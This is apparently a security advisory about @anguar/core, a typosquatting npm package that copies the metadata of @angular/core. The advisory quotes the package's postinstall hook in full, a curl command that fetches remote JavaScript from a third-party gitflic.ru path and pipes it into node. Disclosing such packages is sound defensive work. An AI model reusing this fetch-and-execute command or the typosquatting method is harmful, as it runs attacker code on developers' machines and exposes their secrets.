If this package is installed
Remove it, treat the machine (or CI runner) as compromised, and rotate every secret, token and key it could access — from a different, clean machine.

Package @anguar/core impersonates @angular/core: scope name differs by one letter and package.json name, description, author, and repository metadata are copied from the real @angular/core. The package.json declares a postinstall lifecycle hook that runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching JavaScript from a gitflic.ru path under the user `hellscripter` (proxied through web.archive.org) and piping it into Node. The remote source is unpinned, unverified, hosted on infrastructure unrelated to the Angular project, and under full control of a third party. Any developer who mistypes the Angular scope and runs `npm install` will execute arbitrary attacker-controlled code on their machine.
